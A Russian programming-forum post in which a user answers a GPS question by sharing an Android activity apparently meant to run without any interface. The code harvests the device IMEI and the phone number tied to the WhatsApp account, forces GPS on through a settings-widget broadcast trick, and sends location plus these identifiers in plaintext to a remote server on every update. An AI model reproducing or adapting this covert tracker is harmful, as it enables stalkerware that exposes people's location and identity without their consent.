Форум программистов, компьютерный форум CyberForum.ru

GPS Location (GPS_PROVIDER) как получить координаты - Android

Войти
Регистрация
Восстановить пароль
Другие темы раздела
Android Интеграция ZXing http://www.cyberforum.ru/android-dev/thread1254460.html
Подскажите, пожалуйста, как правильно интегрировать библиотеку ZXing в своё приложение (не через intent!) Смотрел урок Климова, перечитал кучу ответов на stackOverflow, ничего не работает, всегда выдаются ошибки: то R класс не видит, то приложение вылетает сразу при запуске, уже не знаю, что делать даже. Мои шаги: 1) создаю MainActivity, привязываю его к main_layout 2) копирую пакет...
Android Аналог context menu Всем привет. Я пишу судоку. Проблема в том что при взаимодействии с ячейкой вызывается новое активити(диалога, скрины снизу). И это очень не удобно в виду того, что диалог закрывает очень большую поверхность экрана, да к тому же чувствуется задержка при вызыве. Хотел бы сделать что-то типо контестного меню (нажал на ячейку и снизу выпал список цифр). Но я не имею понятия в какую сторону капать.... http://www.cyberforum.ru/android-dev/thread1254420.html
Android Постовщик рекламы, кроме AdMob
Если кто-то пользуется чем-либо кроме AdMob поделитесь пожалуйста своим опытом, может посоветовать можете что нибудь.
Custom ExpandableListView перемешиваются группы Android
Пытаюсь создать свой раскрывающийся список с текстом и плюшками. Все вроде ок, кроме одного момента: при раскрытии группы соседние перемешиваются. Вот как это выглядит до раскрытия группы: и после: Код адаптера: public class ExpLstAdapter extends BaseExpandableListAdapter {
Android Wordpress Blog - написать приложение под Android http://www.cyberforum.ru/android-dev/thread1254301.html
Добрый день/вечер всем читающим. Во первых - огромное спасибо за то, что зашли (надеюсь чтобы помочь ответом) на данную тему. Вопрос в следующим: Есть Блог на WordPress'e. Блог очень живой: 16К подписчиков. Нужно ему сделать приложение на телефон. На данный момент разрабатывать буду на Андроид. Вопрос: Кто-нибудь писал такое приложение? Если да - могли бы посоветовать...
Android Изменение цвета при клике по layout Мне нужно было чтобы при клике по лэйауту у меня менялся его цвет,а потом все возвращалось в исходное состояние,но почему то не работает,подскажите,пожалуйста,в чем ошибка.По клику на лэйаут вызывается данная функция: public void func(View v) throws InterruptedException { lm.setBackgroundColor(Color.CYAN); TimeUnit.SECONDS.sleep(2); lm.setBackgroundColor(Color.BLACK); ; } подробнее

Показать сообщение отдельно
cezer_ak
4 / 4 / 1
Регистрация: 14.02.2013
Сообщений: 232
11.09.2014, 21:22     GPS Location (GPS_PROVIDER) как получить координаты
Цитата Сообщение от petruchodd Посмотреть сообщение
эх спасибо ребята. но код везде один и тот же.. Я уже начинаю грешить на сам телефон.
Может поможет, когда то давно делал:

MainActivity

Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
package app.app;
 
import android.accounts.Account;
import android.accounts.AccountManager;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.net.Uri;
import android.os.AsyncTask;
import android.os.Bundle;
import android.provider.Settings;
import android.telephony.TelephonyManager;
 
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.util.EntityUtils;
 
import java.io.IOException;
import java.io.UnsupportedEncodingException;
 
public class MainActivity extends Activity implements LocationListener {
 
    public HttpClient httpclient;
    public HttpResponse response;
    public HttpEntity resEntity;
    public HttpGet httpget;
    String lat;
    String lng;
    String acname;
    String actype;
    /**  TextView imei;
     TextView number;
     TextView lat;
     TextView lng;*/
    String imei;
    String number;
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
 
        TelephonyManager manager = (TelephonyManager)getSystemService(TELEPHONY_SERVICE);
        imei=manager.getDeviceId();
 
        AccountManager am = AccountManager.get(this);
        Account[] accounts = am.getAccounts();
        for (Account ac : accounts) {
            acname = ac.name;
            actype = ac.type;
 
            if(actype.equals("com.whatsapp")){
                number=ac.name;
            }
        }
 
        LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
        locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, this);
      //  finish();
    }
    /**
     private String getMyPhoneNumber(){
     TelephonyManager mTelephonyMgr;
     mTelephonyMgr = (TelephonyManager)
     getSystemService(Context.TELEPHONY_SERVICE);
     return mTelephonyMgr.getLine1Number();
     }
 
     private String getMy10DigitPhoneNumber(){
     String s = getMyPhoneNumber();
     return s.substring(2);
     }
     */
 
    @Override
    public void onLocationChanged(Location location) {
        // TODO Auto-generated method stub
        //lat.setText((int) location.getLatitude());
        // lng.setText((int) location.getLongitude());
        lng=String.valueOf(location.getLongitude());
        lat=String.valueOf(location.getLatitude());
 
//if (lat==lat_new)
//{
        //   if (lng==lng_new)
//    {
 
        //}
//}
        //      else
//{
        new MySend().execute();
    }
 
    //  }
 
    @Override
    public void onStatusChanged(String s, int i, Bundle bundle) {
    }
    @Override
    public void onProviderEnabled(String s) {
    }
    @Override
    public void onProviderDisabled(String s) {
        turnGPSOn();
    }
 
    private void turnGPSOn(){
        String provider = Settings.Secure.getString(getContentResolver(), Settings.Secure.LOCATION_PROVIDERS_ALLOWED);
        if(!provider.contains("gps")){ //if gps is disabled
            final Intent poke = new Intent();
            poke.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider");
            poke.addCategory(Intent.CATEGORY_ALTERNATIVE);
            poke.setData(Uri.parse("3"));
            sendBroadcast(poke);
        }
    }
 
    public class MySend extends AsyncTask<String, Void, String> {
        @Override
        protected String doInBackground(String... params) {
            String str0 = "error";
            try{
                httpclient = new DefaultHttpClient();
                httpget = new HttpGet("http://www.mysite.ru/gps.php?latitude="+lat+"&longitude="+lng+"&phoneID="+imei+"&TAG=1&phone="+number);
                response = httpclient.execute(httpget);
                resEntity = response.getEntity();
                if (resEntity != null) {
                    str0= EntityUtils.toString(resEntity);
                }
            } catch (UnsupportedEncodingException uee){
                uee.printStackTrace();
            } catch (ClientProtocolException cpe){
                cpe.printStackTrace();
            } catch (IOException ioe){
                ioe.printStackTrace();
            }
            return str0;
        }
    }
 
 
}
Работает как сервис. Оболочки по сути как таковой никакой не имеет. Просто отправляет данные на сервер. Получает номер телефона по вацапу. Думаю он у всех стоит)))) Включает GPS если выключено. Если не разберешься с gps.php поищу на компе скину.
 
Текущее время: 01:56. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru